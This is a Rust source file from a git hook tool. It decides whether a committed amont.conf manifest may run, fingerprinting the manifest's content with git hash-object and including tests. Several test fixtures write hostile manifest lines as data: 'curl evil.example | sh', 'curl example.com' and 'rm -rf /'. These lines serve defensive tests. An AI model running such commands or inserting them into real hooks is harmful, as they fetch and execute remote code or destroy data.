Skip to main content

greengate_runtime/
trust.rs

1//! Whether this repository's `amont.conf` may run.
2//!
3//! `amont.conf` is committed, which is the point — a team shares a check by
4//! committing it. The consequence is that cloning a repository and committing to
5//! it would otherwise run commands that repository chose, and neither of those
6//! acts is one anybody performs as a decision about trust. Reviewing a diff
7//! before running it is; nothing asked for that.
8//!
9//! So the manifest is inert until somebody says otherwise, and the record is
10//! keyed on the FILE'S CONTENT rather than its path: a `git pull` that adds a
11//! command does not inherit the consent given to the file before it.
12//!
13//! ## Why `git hash-object` and not a hash of our own
14//!
15//! `amont` links no external crates (`scripts/check-no-deps.sh`), and the
16//! only hash in `std` is `DefaultHasher` — SipHash with a fixed key, which is
17//! not collision-resistant and would let a crafted manifest match a trusted
18//! one's fingerprint. Writing SHA-256 by hand is a hundred lines nobody would
19//! review as carefully as they should.
20//!
21//! `git` is already a hard dependency of every path in this binary, and
22//! `git hash-object` is the identity git itself uses for content. It is SHA-1
23//! (or SHA-256 in a repository configured for it), which is not a strong
24//! guarantee against a determined attacker with a chosen-prefix collision — but
25//! it is enormously better than SipHash, costs no dependency, and a user can
26//! reproduce it by hand to check what they trusted:
27//!
28//! ```text
29//! $ git hash-object --no-filters amont.conf
30//! ```
31//!
32//! `--no-filters` is not decoration. Without it git applies the clean filter
33//! and eol conversion that the repository's own committed `.gitattributes`
34//! asks for — so the repository would be choosing the transform its consent is
35//! taken through, and two manifests this parser reads differently can be given
36//! the same id. Consent is bound to the bytes we PARSE.
37
38use crate::names::BIN;
39use std::path::Path;
40
41use crate::ui::valid_sign;
42
43/// Where the decision is recorded. Local, never committed — a repository must
44/// not be able to declare itself trusted.
45///
46/// MULTI-VALUED, and that is the whole point. `--local` config is shared by every
47/// worktree of a repository, so a single value meant worktrees fought over it:
48/// trusting one checkout made every other checkout on a different branch report
49/// `TRUSTED ONCE, AND CHANGED SINCE`, and its declared checks stop running until
50/// somebody re-trusts — which then breaks the first one. With one worktree per
51/// task, as `git worktree` workflows have, the record never settles.
52///
53/// A set fixes it without moving the record anywhere, because trust here has
54/// always been keyed on CONTENT rather than on place: the question is "have these
55/// exact bytes been reviewed", and the answer does not depend on which checkout is
56/// asking. Two worktrees with the same amont.conf need one acceptance between
57/// them; two with different manifests hold one entry each.
58///
59/// The cost, stated plainly: reverting a manifest to bytes accepted earlier no
60/// longer asks again, where a single-valued record would have. That is the
61/// definition working as written — those bytes WERE reviewed — but it is a
62/// weaker guarantee than before, and [`KEEP`] bounds how far back it reaches.
63///
64/// `--worktree` config was the other candidate. It needs
65/// `extensions.worktreeConfig=true` on the repository, which is amont writing a
66/// repo-wide git setting other tools also read, to fix a problem of its own.
67pub const KEY: &str = "greengate.trusted";
68
69/// Content id of `path`, as git would compute it.
70///
71/// `--no-filters`, because consent is bound to CONTENT and the content that
72/// matters is the bytes we PARSE. Plain `git hash-object` applies the clean
73/// filter and eol conversion configured by the repository's own committed
74/// `.gitattributes` — so a repo that declares `amont.conf ident` (or
75/// `text eol=crlf`) chooses the transform its fingerprint is taken through,
76/// and two manifests we would parse differently can hash identically. The
77/// binding was to content-after-a-repo-controlled-transform.
78pub fn fingerprint(repo: &Path, manifest: &Path) -> Option<String> {
79    crate::git::stdout_in(repo, &["hash-object", "--no-filters", manifest.to_str()?])
80}
81
82/// The same identity, for bytes already in hand.
83///
84/// `--stdin` is never filtered, so this names exactly the buffer given to it.
85/// Used where the caller has read the file and is about to act on THAT read:
86/// hashing the path again would be a second read, and the two can differ.
87pub fn fingerprint_bytes(repo: &Path, bytes: &[u8]) -> Option<String> {
88    crate::git::stdout_piped_in(repo, &["hash-object", "--stdin"], bytes)
89}
90
91/// What the repository has recorded, if anything.
92pub fn recorded(repo: &Path) -> Vec<String> {
93    crate::git::stdout_in(repo, &["config", "--local", "--get-all", KEY])
94        .map(|out| {
95            out.lines()
96                .map(str::trim)
97                .filter(|l| !l.is_empty())
98                .map(str::to_string)
99                .collect()
100        })
101        .unwrap_or_default()
102}
103
104#[derive(Debug, Clone, Copy, PartialEq, Eq)]
105pub enum State {
106    /// No manifest. The overwhelmingly common case, and it must cost nothing.
107    NoManifest,
108    /// Trusted, and the file still has the bytes that were trusted.
109    Trusted,
110    /// Never trusted here.
111    Untrusted,
112    /// Trusted once, and edited since. Distinct from `Untrusted` because the
113    /// message should say which happened — "somebody changed it" is a different
114    /// thing to tell a reader than "you have not looked at this yet".
115    Changed,
116}
117
118/// Decide whether `repo`'s manifest may run.
119pub fn state(repo: &Path) -> State {
120    let manifest = repo.join(crate::manifest::manifest_name(repo));
121    if !manifest.is_file() {
122        return State::NoManifest;
123    }
124    let Some(current) = fingerprint(repo, &manifest) else {
125        // Cannot compute it, so cannot claim it matches.
126        return State::Untrusted;
127    };
128    verdict(repo, &current)
129}
130
131/// The same decision, about bytes the caller already holds.
132///
133/// For anyone who has read the manifest and is about to act on THAT read.
134/// Re-opening the file to decide whether the first read may run is two reads of
135/// something that can change in between, and the whole point of the record is
136/// that it names the content being executed.
137pub fn state_of(repo: &Path, source: &[u8]) -> State {
138    let Some(current) = fingerprint_bytes(repo, source) else {
139        return State::Untrusted;
140    };
141    verdict(repo, &current)
142}
143
144fn verdict(repo: &Path, current: &str) -> State {
145    let seen = recorded(repo);
146    if seen.iter().any(|s| s == current) {
147        State::Trusted
148    } else if seen.is_empty() {
149        State::Untrusted
150    } else {
151        State::Changed
152    }
153}
154
155/// Record the manifest as it stands now.
156pub fn record(repo: &Path) -> Result<String, String> {
157    let manifest = repo.join(crate::manifest::manifest_name(repo));
158    let fp = fingerprint(repo, &manifest)
159        .ok_or_else(|| format!("cannot hash {}", manifest.display()))?;
160    record_verified(repo, &fp)?;
161    Ok(fp)
162}
163
164/// Record `fp` as trusted, but ONLY if the manifest still hashes to it.
165///
166/// The gap this closes: `describe()` prints the manifest, then — in
167/// `install::offer_trust` — `confirm()` blocks on a keypress, sometimes for
168/// several seconds, before anything is recorded. A plain re-hash at that
169/// point trusts whatever is on disk THEN, which is not necessarily what was
170/// shown; a file changed in that window would be trusted without ever having
171/// been reviewed, which is the exact thing this module exists to prevent.
172/// Callers fingerprint what they show BEFORE asking, and pass that same
173/// value here — verified again, not merely assumed, once the answer is in.
174pub fn record_verified(repo: &Path, fp: &str) -> Result<(), String> {
175    let manifest = repo.join(crate::manifest::manifest_name(repo));
176    let now = fingerprint(repo, &manifest)
177        .ok_or_else(|| format!("cannot hash {}", manifest.display()))?;
178    if now != fp {
179        return Err(format!(
180            "{} changed since it was shown — nothing was trusted; run `{BIN} trust` again to review it",
181            crate::manifest::manifest_name(repo)
182        ));
183    }
184    // Already accepted — adding it again would grow the list for nothing.
185    if recorded(repo).iter().any(|s| s == fp) {
186        return Ok(());
187    }
188    let ok = crate::git::stdout_in(repo, &["config", "--local", "--add", KEY, fp]).is_some();
189    if !ok {
190        return Err(format!("cannot record {KEY} in this repository"));
191    }
192    prune(repo);
193    Ok(())
194}
195
196/// Forget it.
197pub fn revoke(repo: &Path) -> Result<(), String> {
198    // `--unset-all` exits 5 when the key is absent, which is not a failure here.
199    // ALL of them: revoking means this repository trusts nothing, and leaving a
200    // sibling worktree's fingerprint behind would mean `--revoke` did not.
201    let _ = crate::git::stdout_in(repo, &["config", "--local", "--unset-all", KEY]);
202    Ok(())
203}
204
205/// How many accepted fingerprints to keep.
206///
207/// One per checkout that is currently on a different branch is the shape this
208/// serves, plus a little history. Unbounded, `.git/config` would grow a line per
209/// edit of the manifest, forever.
210const KEEP: usize = 16;
211
212/// Trim the oldest entries once the list is longer than [`KEEP`].
213///
214/// Best-effort by design: the new value was already added before this runs, so a
215/// failure here leaves a list that is correct and merely longer than intended,
216/// never one that has lost the fingerprint somebody just accepted.
217fn prune(repo: &Path) {
218    let all = recorded(repo);
219    if all.len() <= KEEP {
220        return;
221    }
222    let keep: Vec<String> = all[all.len() - KEEP..].to_vec();
223    if crate::git::stdout_in(repo, &["config", "--local", "--unset-all", KEY]).is_none() {
224        return;
225    }
226    for fp in keep {
227        let _ = crate::git::stdout_in(repo, &["config", "--local", "--add", KEY, &fp]);
228    }
229}
230
231/// The reason an external does not run, phrased for the check's own report.
232pub fn why(state: State) -> Option<&'static str> {
233    match state {
234        State::NoManifest | State::Trusted => None,
235        // Kept as written: this text is the `reason` value of `list --json`,
236        // and a --json value does not change with the rename.
237        State::Untrusted => {
238            Some("declared in an untrusted amont.conf — review it, then `amont trust`")
239        }
240        State::Changed => {
241            Some("amont.conf changed since it was trusted — review it, then `amont trust`")
242        }
243    }
244}
245
246/// Show what the manifest declares, so the decision is made with it in view.
247///
248/// Printing the lines is the whole point: "trust this file" is not a question
249/// anybody can answer without seeing it, and a prompt that does not show it is
250/// a prompt that trains people to press y.
251pub fn describe(repo: &Path) -> String {
252    describe_source(
253        &std::fs::read_to_string(repo.join(crate::manifest::manifest_name(repo)))
254            .unwrap_or_default(),
255    )
256}
257
258/// The same listing, rendered from text the caller already read.
259///
260/// So that what is SHOWN and what is FINGERPRINTED come from one read. Two
261/// reads of a file somebody is deciding about can disagree, and the decision
262/// would then be recorded about bytes nobody was shown.
263pub fn describe_source(text: &str) -> String {
264    use std::fmt::Write;
265    let mut out = String::new();
266    let lines = crate::manifest::parse_lines(text);
267    // Policy and tool-pin lines are rendered as their own blocks below —
268    // they are not checks, and running them through the check table printed
269    // them as `! broken`, which told the person consenting that something
270    // was WRONG with the very lines they were being asked to approve.
271    let (checks, rest): (Vec<_>, Vec<_>) = lines.into_iter().partition(|l| l.is_check());
272    for line in checks {
273        let (name, stage, parsed) = line.into_parts();
274        // Every field here is repo-controlled, and this is the text somebody
275        // is about to say yes to. Sanitised BEFORE the padding, so the column
276        // widths are computed on what is actually printed — an escape sequence
277        // is zero columns wide and would silently shift the alignment even if
278        // it did nothing worse. See `ui::sanitize` for what a concealed
279        // declaration bought.
280        let name = crate::ui::sanitize(&name);
281        match parsed {
282            Ok(declared) => {
283                let _ = writeln!(
284                    out,
285                    "      {name:<14} {:<10} {}",
286                    stage.as_str(),
287                    crate::ui::sanitize(&declared.command())
288                );
289            }
290            Err(why) => {
291                let _ = writeln!(
292                    out,
293                    "      {name:<14} {:<10} ! {}",
294                    stage.as_str(),
295                    crate::ui::sanitize(&why.to_string())
296                );
297            }
298        }
299    }
300    let pins: Vec<String> = rest
301        .iter()
302        .filter_map(|l| match l {
303            crate::manifest::Line::Tool(pin) => {
304                Some(format!("tool      {}  {}", pin.program, pin.want))
305            }
306            _ => None,
307        })
308        .collect();
309    let policy: Vec<String> = rest
310        .iter()
311        .filter_map(|l| match l {
312            crate::manifest::Line::Policy { what, .. } => Some(what.describe()),
313            _ => None,
314        })
315        .collect();
316    if !policy.is_empty() {
317        let _ = writeln!(out, "    and sets policy for built-in checks:");
318        for p in policy {
319            let _ = writeln!(out, "      {}", crate::ui::sanitize(&p));
320        }
321    }
322    let tree: Vec<String> = rest
323        .iter()
324        .filter_map(|l| match l {
325            crate::manifest::Line::Tree(gate) => Some(format!(
326                "{:<14} {:<10} {}",
327                gate.name,
328                gate.tool.as_str(),
329                gate.command
330            )),
331            _ => None,
332        })
333        .collect();
334    if !tree.is_empty() {
335        let _ = writeln!(
336            out,
337            "    and declares whole-tree gates (run at commit, never decide it):"
338        );
339        for t in tree {
340            let _ = writeln!(out, "      {}", crate::ui::sanitize(&t));
341        }
342    }
343    if !pins.is_empty() {
344        let _ = writeln!(out, "    and pins tool versions (verified, warn-only):");
345        for p in pins {
346            let _ = writeln!(out, "      {}", crate::ui::sanitize(&p));
347        }
348    }
349    out
350}
351
352/// A yes/no on the terminal, or `false` when there is nobody to ask.
353///
354/// Reads `/dev/tty` rather than stdin: git hands a hook a pipe, and a prompt
355/// that read stdin would consume something else's input. Same reason
356/// `package-lock` does it, and the third copy of this is where it becomes a
357/// shared function.
358#[cfg(unix)]
359pub fn confirm(prompt: &str) -> bool {
360    use std::io::{BufRead, BufReader};
361    let Ok(tty) = std::fs::File::open("/dev/tty") else {
362        return false;
363    };
364    // A prompt is talk, never data: on stderr, so it shows when stdout is
365    // redirected and the question is still asked on the terminal. Rust's
366    // stderr is unbuffered, so nothing needs flushing before the read.
367    eprint!("{prompt}");
368    let mut line = String::new();
369    if BufReader::new(tty).read_line(&mut line).is_err() {
370        return false;
371    }
372    matches!(line.trim_start().chars().next(), Some('y') | Some('Y'))
373}
374
375/// `CONIN$` is the console's `/dev/tty`: it reaches the keyboard even when
376/// something else holds stdin. Before this, Windows always declined —
377/// `amont trust` could never be granted interactively there, so every
378/// declared check spent its life politely disabled for the Windows
379/// minority of a team.
380///
381/// **Gated on stdin actually being a console**, which is the whole
382/// difference between this and `/dev/tty`. Opening `/dev/tty` FAILS with no
383/// controlling terminal, so unix gets its "nobody to ask" answer for free;
384/// `CONIN$` opens whenever the process has a console at all — which a CI
385/// runner does — and then blocks forever on a read nobody will answer.
386/// That is not hypothetical: it hung four install tests until the Windows
387/// job timed out, at 20 minutes, the first time this shipped without the
388/// gate. A redirected stdin (git handing a hook a pipe, a test using
389/// `Stdio::null()`, a script piping input) therefore declines, exactly as
390/// before — the prompt is for a human who typed a command, and a human who
391/// typed a command has a console on stdin.
392#[cfg(windows)]
393pub fn confirm(prompt: &str) -> bool {
394    use std::io::{BufRead, BufReader};
395    if !stdin_is_a_console() {
396        return false;
397    }
398    let Ok(con) = std::fs::File::open("CONIN$") else {
399        return false;
400    };
401    // A prompt is talk, never data: on stderr, so it shows when stdout is
402    // redirected and the question is still asked on the terminal. Rust's
403    // stderr is unbuffered, so nothing needs flushing before the read.
404    eprint!("{prompt}");
405    let mut line = String::new();
406    if BufReader::new(con).read_line(&mut line).is_err() {
407        return false;
408    }
409    matches!(line.trim_start().chars().next(), Some('y') | Some('Y'))
410}
411
412/// Whether stdin is a real console rather than a pipe, a file, or `NUL`.
413///
414/// `GetConsoleMode` succeeds only for a console handle — the standard way
415/// to ask on Windows, and one kernel32 call, so this stays dependency-free
416/// like the signal handler in `staged_only`.
417#[cfg(windows)]
418fn stdin_is_a_console() -> bool {
419    const STD_INPUT_HANDLE: u32 = -10i32 as u32;
420    #[link(name = "kernel32")]
421    extern "system" {
422        fn GetStdHandle(which: u32) -> *mut std::ffi::c_void;
423        fn GetConsoleMode(handle: *mut std::ffi::c_void, mode: *mut u32) -> i32;
424    }
425    let mut mode = 0u32;
426    unsafe {
427        let handle = GetStdHandle(STD_INPUT_HANDLE);
428        if handle.is_null() {
429            return false;
430        }
431        GetConsoleMode(handle, &mut mode) != 0
432    }
433}
434
435/// Neither `/dev/tty` nor a console: nobody to ask, which declines.
436#[cfg(not(any(unix, windows)))]
437pub fn confirm(_prompt: &str) -> bool {
438    false
439}
440
441/// `amont trust [--show|--revoke]`.
442pub fn command(args: &[std::ffi::OsString]) -> Result<(), String> {
443    // Refuse rather than fall back to ".". Trust is RECORDED per repository,
444    // keyed by the root this resolves to, so a "." root outside a repository
445    // meant `amont trust` in `~` would read `~/amont.conf`, show its
446    // declarations, and record trust for them — against a repository that does
447    // not exist, in a state no later `amont trust --revoke` would find.
448    let root = crate::hooks::common::repo_root_checked()?;
449    let root = Path::new(&root);
450    let flag = |f: &str| args.iter().any(|a| a == f);
451
452    if flag("--revoke") {
453        revoke(root)?;
454        eprintln!(
455            "{} {} is no longer trusted here",
456            valid_sign(),
457            crate::manifest::manifest_name(root)
458        );
459        return Ok(());
460    }
461
462    let state = state(root);
463    // `--show` alone answers with data on stdout; everything else this
464    // command says (the listing it asks a person to accept, the verdict,
465    // "nothing to do") is talk, on stderr, so one output never spans two
466    // streams.
467    if state == State::NoManifest {
468        eprintln!("no {} in this repository", crate::manifest::MANIFEST);
469        return Ok(());
470    }
471
472    if flag("--show") {
473        println!("{}", crate::manifest::manifest_name(root));
474        print!("{}", describe(root));
475        println!(
476            "    {}",
477            match state {
478                State::Trusted => "trusted here",
479                State::Changed => "TRUSTED ONCE, AND CHANGED SINCE — not running",
480                _ => "not trusted here — not running",
481            }
482        );
483        return Ok(());
484    }
485
486    if state == State::Trusted {
487        eprintln!("{} already trusted, unchanged", valid_sign());
488        return Ok(());
489    }
490
491    // One read: the bytes shown are the bytes fingerprinted, and
492    // `record_verified` then confirms they are still the bytes on disk. Read
493    // twice, and the listing somebody approved need not be what got recorded.
494    let manifest_file = crate::manifest::manifest_name(root);
495    let manifest = root.join(manifest_file);
496    let source =
497        std::fs::read(&manifest).map_err(|e| format!("cannot read {}: {e}", manifest.display()))?;
498    let fp = fingerprint_bytes(root, &source)
499        .ok_or_else(|| format!("cannot hash {}", manifest.display()))?;
500    eprintln!("{manifest_file} declares:");
501    eprint!("{}", describe_source(&String::from_utf8_lossy(&source)));
502    record_verified(root, &fp)?;
503    eprintln!("{} trusted ({fp})", valid_sign());
504    Ok(())
505}
506
507#[cfg(test)]
508mod tests {
509    use super::*;
510
511    fn repo(name: &str) -> std::path::PathBuf {
512        let d = std::env::temp_dir().join(format!("trust-{name}-{}", std::process::id()));
513        let _ = std::fs::remove_dir_all(&d);
514        std::fs::create_dir_all(&d).unwrap();
515        std::process::Command::new("git")
516            .args(["init", "-q", "--template=", "."])
517            .current_dir(&d)
518            .output()
519            .expect("git");
520        d
521    }
522
523    fn write_manifest(dir: &Path, body: &str) {
524        std::fs::write(dir.join(crate::manifest::MANIFEST), body).unwrap();
525    }
526
527    /// Ninety-six repositories have no manifest. That must be free and silent.
528    #[test]
529    fn no_manifest_is_not_a_trust_question() {
530        let d = repo("none");
531        assert_eq!(state(&d), State::NoManifest);
532        assert_eq!(why(State::NoManifest), None);
533        let _ = std::fs::remove_dir_all(&d);
534    }
535
536    #[test]
537    fn a_manifest_starts_untrusted() {
538        let d = repo("new");
539        write_manifest(&d, "pre-commit  a  *  block  echo hi\n");
540        assert_eq!(state(&d), State::Untrusted);
541        let _ = std::fs::remove_dir_all(&d);
542    }
543
544    #[test]
545    fn recording_makes_it_trusted() {
546        let d = repo("record");
547        write_manifest(&d, "pre-commit  a  *  block  echo hi\n");
548        record(&d).expect("record");
549        assert_eq!(state(&d), State::Trusted);
550        let _ = std::fs::remove_dir_all(&d);
551    }
552
553    /// The property the whole design turns on: consent is to CONTENT, so a
554    /// `git pull` that adds a command cannot inherit it.
555    #[test]
556    fn editing_the_manifest_revokes_trust() {
557        let d = repo("edit");
558        write_manifest(&d, "pre-commit  a  *  block  echo hi\n");
559        record(&d).expect("record");
560        assert_eq!(state(&d), State::Trusted);
561
562        write_manifest(&d, "pre-commit  a  *  block  curl evil.example | sh\n");
563        assert_eq!(
564            state(&d),
565            State::Changed,
566            "a manifest edited after trusting must not still be trusted"
567        );
568        // And it says which happened, because "you have not looked at this" is
569        // a different sentence to "somebody changed it".
570        assert!(why(State::Changed).expect("reason").contains("changed"));
571        let _ = std::fs::remove_dir_all(&d);
572    }
573
574    /// The TOCTOU `record_verified` exists to close: `install::offer_trust`
575    /// fingerprints what it showed, waits on a keypress, then must not trust
576    /// whatever is on disk by the time the answer comes back if that is not
577    /// what was actually shown.
578    #[test]
579    fn record_verified_refuses_a_manifest_that_changed_since_it_was_fingerprinted() {
580        let d = repo("changed-mid-confirm");
581        write_manifest(&d, "pre-commit  a  *  block  echo hi\n");
582        let manifest = d.join(crate::manifest::MANIFEST);
583        let shown_fp = fingerprint(&d, &manifest).expect("fingerprint");
584
585        // The file is rewritten in the window a real confirm() would have
586        // been blocking on a keypress.
587        write_manifest(&d, "pre-commit  a  *  block  curl evil.example | sh\n");
588
589        let err = record_verified(&d, &shown_fp).expect_err("must refuse");
590        assert!(err.contains("changed"), "{err}");
591        assert_eq!(
592            state(&d),
593            State::Untrusted,
594            "the rewritten content must not end up trusted"
595        );
596        let _ = std::fs::remove_dir_all(&d);
597    }
598
599    /// The ordinary path still works: nothing changed, so the fingerprint
600    /// shown is the fingerprint recorded.
601    #[test]
602    fn record_verified_accepts_a_manifest_that_did_not_change() {
603        let d = repo("unchanged");
604        write_manifest(&d, "pre-commit  a  *  block  echo hi\n");
605        let manifest = d.join(crate::manifest::MANIFEST);
606        let fp = fingerprint(&d, &manifest).expect("fingerprint");
607        record_verified(&d, &fp).expect("record");
608        assert_eq!(state(&d), State::Trusted);
609        let _ = std::fs::remove_dir_all(&d);
610    }
611
612    #[test]
613    fn revoking_returns_it_to_untrusted() {
614        let d = repo("revoke");
615        write_manifest(&d, "pre-commit  a  *  block  echo hi\n");
616        record(&d).expect("record");
617        revoke(&d).expect("revoke");
618        assert_eq!(state(&d), State::Untrusted);
619        // Twice is not an error: `git config --unset` exits 5 on a missing key.
620        revoke(&d).expect("revoke again");
621        let _ = std::fs::remove_dir_all(&d);
622    }
623
624    /// The bug this file was changed for.
625    ///
626    /// `--local` config is shared by every worktree, so with a single value the
627    /// two checkouts below take turns invalidating each other and neither ever
628    /// settles. Both manifests were reviewed; both must stay accepted.
629    #[test]
630    fn two_worktrees_with_different_manifests_do_not_evict_each_other() {
631        let d = repo("worktrees");
632        let a = "pre-commit  a  *  block  echo a\n";
633        let b = "pre-commit  b  *  block  echo b\n";
634
635        write_manifest(&d, a);
636        record(&d).expect("accept a");
637        assert_eq!(state(&d), State::Trusted);
638
639        // the sibling worktree, on another branch, accepts its own manifest
640        write_manifest(&d, b);
641        record(&d).expect("accept b");
642        assert_eq!(state(&d), State::Trusted);
643
644        // and the first one is STILL trusted — this is what used to say Changed
645        write_manifest(&d, a);
646        assert_eq!(
647            state(&d),
648            State::Trusted,
649            "accepting a second manifest evicted the first"
650        );
651        let _ = std::fs::remove_dir_all(&d);
652    }
653
654    /// A manifest nobody ever accepted is still Changed, not Trusted: the set
655    /// must not turn into "anything goes once you have trusted one thing".
656    #[test]
657    fn an_unseen_manifest_is_still_changed() {
658        let d = repo("unseen");
659        write_manifest(&d, "pre-commit  a  *  block  echo a\n");
660        record(&d).expect("record");
661        write_manifest(&d, "pre-commit  evil  *  block  curl example.com\n");
662        assert_eq!(state(&d), State::Changed);
663        let _ = std::fs::remove_dir_all(&d);
664    }
665
666    /// Revoke means this repository trusts nothing — not "all but the sibling's".
667    #[test]
668    fn revoke_clears_every_accepted_fingerprint() {
669        let d = repo("revoke-all");
670        write_manifest(&d, "pre-commit  a  *  block  echo a\n");
671        record(&d).expect("a");
672        write_manifest(&d, "pre-commit  b  *  block  echo b\n");
673        record(&d).expect("b");
674        revoke(&d).expect("revoke");
675        assert!(recorded(&d).is_empty(), "revoke left a fingerprint behind");
676        assert_eq!(state(&d), State::Untrusted);
677        write_manifest(&d, "pre-commit  a  *  block  echo a\n");
678        assert_eq!(state(&d), State::Untrusted);
679        let _ = std::fs::remove_dir_all(&d);
680    }
681
682    /// Accepting the same bytes twice must not grow the list.
683    #[test]
684    fn re_accepting_the_same_manifest_is_idempotent() {
685        let d = repo("idempotent");
686        write_manifest(&d, "pre-commit  a  *  block  echo a\n");
687        record(&d).expect("once");
688        record(&d).expect("twice");
689        assert_eq!(recorded(&d).len(), 1);
690        let _ = std::fs::remove_dir_all(&d);
691    }
692
693    /// The list is bounded, or `.git/config` grows a line per manifest edit
694    /// forever.
695    #[test]
696    fn the_accepted_list_is_capped() {
697        let d = repo("capped");
698        for i in 0..KEEP + 5 {
699            write_manifest(&d, &format!("pre-commit  a{i}  *  block  echo {i}\n"));
700            record(&d).expect("record");
701        }
702        assert_eq!(recorded(&d).len(), KEEP);
703        // the most recent survives, the oldest does not
704        assert_eq!(state(&d), State::Trusted);
705        write_manifest(&d, "pre-commit  a0  *  block  echo 0\n");
706        assert_eq!(state(&d), State::Changed);
707        let _ = std::fs::remove_dir_all(&d);
708    }
709
710    /// Reproducible by hand, which is the point of using git's own identity.
711    #[test]
712    fn the_fingerprint_is_git_hash_object() {
713        let d = repo("fp");
714        write_manifest(&d, "pre-commit  a  *  block  echo hi\n");
715        let manifest = d.join(crate::manifest::MANIFEST);
716        let ours = fingerprint(&d, &manifest).expect("fingerprint");
717        let theirs = String::from_utf8_lossy(
718            &std::process::Command::new("git")
719                .args(["hash-object", "--no-filters", manifest.to_str().unwrap()])
720                .current_dir(&d)
721                .output()
722                .expect("git")
723                .stdout,
724        )
725        .trim()
726        .to_string();
727        assert_eq!(ours, theirs);
728        let _ = std::fs::remove_dir_all(&d);
729    }
730    /// A repository must not choose the transform its own consent is taken
731    /// through.
732    ///
733    /// `.gitattributes` is committed, so the repo picks the clean filter; plain
734    /// `git hash-object` applies it. With one that collapses everything to a
735    /// constant, two manifests this parser reads DIFFERENTLY are given the same
736    /// id — so a trusted fingerprint would cover content nobody reviewed.
737    #[test]
738    fn a_clean_filter_cannot_make_two_manifests_share_a_fingerprint() {
739        let d = repo("filter");
740        std::fs::write(d.join(".gitattributes"), "amont.conf filter=flatten\n")
741            .expect("write attributes");
742        let ok = std::process::Command::new("git")
743            .args(["config", "--local", "filter.flatten.clean", "echo same"])
744            .current_dir(&d)
745            .status()
746            .map(|s| s.success())
747            .unwrap_or(false);
748        if !ok {
749            return; // no git to configure; nothing to assert
750        }
751        let manifest = d.join(crate::manifest::MANIFEST);
752
753        write_manifest(&d, "pre-commit  a  *  block  echo one\n");
754        let filtered_a = raw_hash(&d, &manifest);
755        let ours_a = fingerprint(&d, &manifest).expect("fingerprint a");
756
757        write_manifest(&d, "pre-commit  b  *  block  rm -rf /\n");
758        let filtered_b = raw_hash(&d, &manifest);
759        let ours_b = fingerprint(&d, &manifest).expect("fingerprint b");
760
761        // The collision has to EXIST before its absence means anything. A
762        // clean filter is an external program run through git's own shell, and
763        // whether `echo` resolves that way is the platform's business, not
764        // ours — Git for Windows does not collapse these. Say so and stop,
765        // rather than report a fixture that would not build as a defect in the
766        // code under test. `an_eol_conversion_cannot_...` below covers the same
767        // property with no external program involved and runs everywhere.
768        if filtered_a != filtered_b {
769            println!(
770                "! clean filters do not apply here — collision not reproducible, \
771                 see an_eol_conversion_cannot_make_two_manifests_share_a_fingerprint"
772            );
773            return;
774        }
775        assert_ne!(
776            ours_a, ours_b,
777            "the fingerprint followed a repo-controlled filter"
778        );
779    }
780
781    /// The same property, with git's own eol conversion instead of an external
782    /// filter — so it holds on every platform.
783    ///
784    /// `.gitattributes` is COMMITTED, so the repository chooses the conversion.
785    /// Under `text eol=lf`, git's clean step normalises CRLF to LF, and two
786    /// files differing only in line endings hash identically. That is a weaker
787    /// lever than a clean filter (the parser reads both the same way), but it
788    /// is the same mistake: the id names content-after-a-repo-controlled
789    /// transform rather than the bytes we read.
790    #[test]
791    fn an_eol_conversion_cannot_make_two_manifests_share_a_fingerprint() {
792        let d = repo("eol");
793        std::fs::write(d.join(".gitattributes"), "amont.conf text eol=lf\n")
794            .expect("write attributes");
795        let manifest = d.join(crate::manifest::MANIFEST);
796
797        // Byte-different, line-ending-identical-after-normalisation.
798        std::fs::write(&manifest, b"pre-commit  a  *  block  echo one\r\n").expect("crlf");
799        let filtered_crlf = raw_hash(&d, &manifest);
800        let ours_crlf = fingerprint(&d, &manifest).expect("fingerprint crlf");
801
802        std::fs::write(&manifest, b"pre-commit  a  *  block  echo one\n").expect("lf");
803        let filtered_lf = raw_hash(&d, &manifest);
804        let ours_lf = fingerprint(&d, &manifest).expect("fingerprint lf");
805
806        if filtered_crlf != filtered_lf {
807            println!("! eol conversion does not apply here — collision not reproducible");
808            return;
809        }
810        assert_ne!(
811            ours_crlf, ours_lf,
812            "the fingerprint followed a repo-controlled eol conversion"
813        );
814    }
815
816    fn raw_hash(dir: &std::path::Path, manifest: &std::path::Path) -> String {
817        String::from_utf8_lossy(
818            &std::process::Command::new("git")
819                .args(["hash-object", manifest.to_str().unwrap()])
820                .current_dir(dir)
821                .output()
822                .expect("git")
823                .stdout,
824        )
825        .trim()
826        .to_string()
827    }
828}